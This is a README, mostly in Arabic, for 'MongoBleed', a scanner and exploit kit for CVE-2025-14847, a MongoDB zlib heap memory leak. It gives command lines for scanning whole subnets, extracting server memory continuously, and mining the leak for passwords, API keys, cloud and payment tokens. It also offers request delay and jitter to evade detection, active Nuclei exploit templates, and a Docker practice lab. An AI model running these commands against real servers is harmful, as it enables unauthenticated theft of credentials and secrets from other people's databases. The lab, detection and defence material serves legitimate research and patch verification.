
CVE-2025-14847 (MongoBleed) أداة مسح واستغلال. تسرب ذاكرة كومة MongoDB غير المُوثَّقة عبر فك ضغط zlib. تتضمن الكشف، استخراج الذاكرة، تحليل بيانات الاعتماد، المسح عبر CIDR/دفعات، قوالب Nuclei، ومختبر CTF.
ماسح ضوئي وأداة استغلال لـ CVE-2025-14847
طقم أدوات أبحاث أمنية لـ MongoBleed -- تسرب ذاكرة غير موثّق وخطير في فك ضغط zlib في MongoDB يسمح للمهاجمين باستخراج بيانات حساسة من ذاكرة الكومة في الخادم دون مصادقة.
╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬ ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│ ├┤ ├┤ ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit
# No external dependencies -- Python 3 standard library only
cd cli
# Detect if a target is vulnerable (default action)
python mongobleed.py -t localhost:27017
# Scan an entire subnet
python mongobleed.py -t 192.168.1.0/24
# Extract memory and parse for credentials
python mongobleed.py -t target:27017 -e --credentials
# Safe mode -- detection only, no exploitation
python mongobleed.py -t target:27017 -s
MongoBleed/
├── cli/ # أداة المسح والاستغلال من سطر الأوامر
│ ├── mongobleed.py # الأداة الرئيسية لسطر الأوامر
│ ├── requirements.txt # تبعيات بايثون (المكتبة القياسية فقط)
│ └── README.md # توثيق أداة سطر الأوامر
├── lab/ # بيئة مختبر تعتمد على Docker
│ ├── docker-compose.yml # إعداد المختبر متعدد الحاويات
│ ├── vulnerable/ # تكوينات MongoDB ضعيفة
│ ├── patched/ # MongoDB مصححة للمقارنة
│ ├── no-zlib/ # غير قابل للاستغلال (zlib معطل)
│ ├── monitoring/ # لوحة تحكم لتصور الهجوم
│ ├── warmup-heap.sh # ملء الكومة ببيانات حساسة
│ └── README.md # تعليمات إعداد المختبر
├── nuclei/ # قوالب مسح Nuclei
│ ├── CVE-2025-14847.yaml # قالب استغلال نشط
│ ├── CVE-2025-14847-safe.yaml # قالب كشف آمن
│ └── README.md # توثيق قوالب Nuclei
├── docs/ # توثيق تعليمي
│ ├── README.md # فهرس مسار التعلم
│ ├── 01-fundamentals.md # أساسيات MongoDB والذاكرة
│ ├── 02-vulnerability.md # تعمق في CVE-2025-14847
│ ├── 03-exploitation.md # استغلال عملي
│ ├── 04-detection.md # البحث والكشف
│ └── 05-defense.md # استراتيجيات التخفيف
└── README.md # هذا الملف
192.168.1.0/24، 10.0.0.0/16:27018)# فحص هدف واحد
python mongobleed.py -t localhost:27017
# فحص مع إخراج مفصل
python mongobleed.py -t localhost:27017 -v
# الوضع الآمن -- كشف فقط، لا يرسل حمولة استغلال أبدًا
python mongobleed.py -t localhost:27017 -s
# عرض معلومات الإصدار
python mongobleed.py -t localhost:27017 --version
# فحص شبكة فرعية /24
python mongobleed.py -t 192.168.1.0/24
# CIDR مع منفذ مخصص
python mongobleed.py -t 10.0.0.0/24:27018
# فحص من ملف أهداف (يتم توسيع نطاقات CIDR في الملف)
python mongobleed.py -T targets.txt -j 20 -o results.json
# يمكن أن يحتوي ملف الهدف على عناوين IP ومنافذ ونطاقات CIDR
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017
# استخراج الذاكرة (نطاق الإزاحة الافتراضي 20-8192)
python mongobleed.py -t target:27017 -e
# نطاق إزاحة مخصص
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500
# استخراج مستمر (اضغط Ctrl+C للإيقاف)
python mongobleed.py -t target:27017 --continuous
# فرض الاستخراج حتى لو كان فحص الإصدار غير حاسم
python mongobleed.py -t target:27017 -e --force
# تحليل الذاكرة المسربة لبيانات الاعتماد والأسرار
python mongobleed.py -t target:27017 -e --credentials
# تحليل للرموز بشكل خاص
python mongobleed.py -t target:27017 -e --tokens
# استخراج النصوص القابلة للطباعة
python mongobleed.py -t target:27017 -e --strings
# إخراج Hexdump
python mongobleed.py -t target:27017 -e --hexdump
# إضافة تأخير بين الطلبات (ميلي ثانية)
python mongobleed.py -t target:27017 -e --delay 500
# تشويش عشوائي على التأخير
python mongobleed.py -t target:27017 -e --delay 1000 --jitter
# كشف آمن فقط
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017
# كشف نشط
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017
# مسح أهداف متعددة
nuclei -t nuclei/ -l targets.txt
# تشغيل جميع الحاويات
cd lab && docker compose up -d
# الخدمات:
# - localhost:27017 MongoDB 4.4.29 (ضعيفة + zlib)
# - localhost:27018 MongoDB 6.0.26 (ضعيفة + zlib)
# - localhost:27019 MongoDB 8.0.16 (ضعيفة + zlib)
# - localhost:27020 MongoDB 8.0.17 (مصححة)
# - localhost:27021 MongoDB 8.0.16 (بدون zlib - غير قابلة للاستغلال)
# - localhost:8080 لوحة تحكم المراقبة
# تدفئة الكومة ببيانات حساسة قبل الاستغلال
./warmup-heap.sh 27017 50
# تشغيل الأداة ضد المختبر
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials
الهدف:
-t, --target TARGET الهدف: host:port أو نطاق CIDR (مثال 192.168.1.0/24)
-T, --targets FILE ملف يحتوي على قائمة الأهداف (يدعم CIDR في كل سطر)
الكشف:
--detect كشف ما إذا كان الهدف ضعيفًا (الإجراء الافتراضي)
--version عرض إصدار MongoDB
-s, --safe الوضع الآمن - كشف فقط، لا استغلال
الاستغلال:
-e, --extract استخراج الذاكرة عبر مسح الإزاحة
--min-offset N أقل إزاحة للفحص (الافتراضي: 20)
--max-offset N أكبر إزاحة للفحص (الافتراضي: 8192)
--continuous وضع الاستخراج المستمر
--force فرض الاستخراج حتى لو فشل فحص الإصدار
التحليل:
--credentials تحليل لبيانات الاعتماد
--tokens تحليل للرموز
--strings استخراج النصوص القابلة للطباعة
--hexdump عرض Hexdump
التهرب:
--delay MS تأخير بين الطلبات (ميلي ثانية)
--jitter تشويش عشوائي على التأخير
الإخراج:
-o, --output FILE ملف الإخراج (JSON)
-v, --verbose إخراج مفصل
-q, --quiet وضع هادئ
--json إخراج بتنسيق JSON
--no-color تعطيل الألوان
الاتصال:
--timeout SECS مهلة الاتصال (الافتراضي: 10)
-j, --threads N عدد الخيوط للمسح الدفعي (الافتراضي: 10)
يبحث الأداة في الذاكرة المستخرجة عن الأنماط التالية:
| النوع | مثال |
|---|---|
| password | password: value, passwd=value |
| secret | secret: value |
| api_key | api_key: sk_live_... |
| token | token: ... (16+ حرف) |
| bearer_token | Bearer eyJ... |
| jwt | eyJ... (Base64 JWT) |
| mongodb_uri | mongodb://user:pass@host |
| postgres_uri | postgresql://... |
| redis_uri | redis://... |
| stripe_key | sk_live_... |
| openai_key | sk-... (48+ حرف) |
| aws_access_key | AKIA... |
| github_token | ghp_... |
| slack_token | xoxb-..., xoxp-... |
| ctf_flag | FLAG{...} |
| العنصر | القيمة |
|---|---|
| CVE | CVE-2025-14847 |
| الاسم | MongoBleed |
| CWE | CWE-130 (معالجة غير صحيحة لمعامل الطول) |
| CVSS | 8.7 (عالي) |
| النوع | تسرب ذاكرة غير موثّق |
| تاريخ الإفصاح | 19 ديسمبر 2025 |
| تاريخ الاستغلال في البرية | 29 ديسمبر 2025 |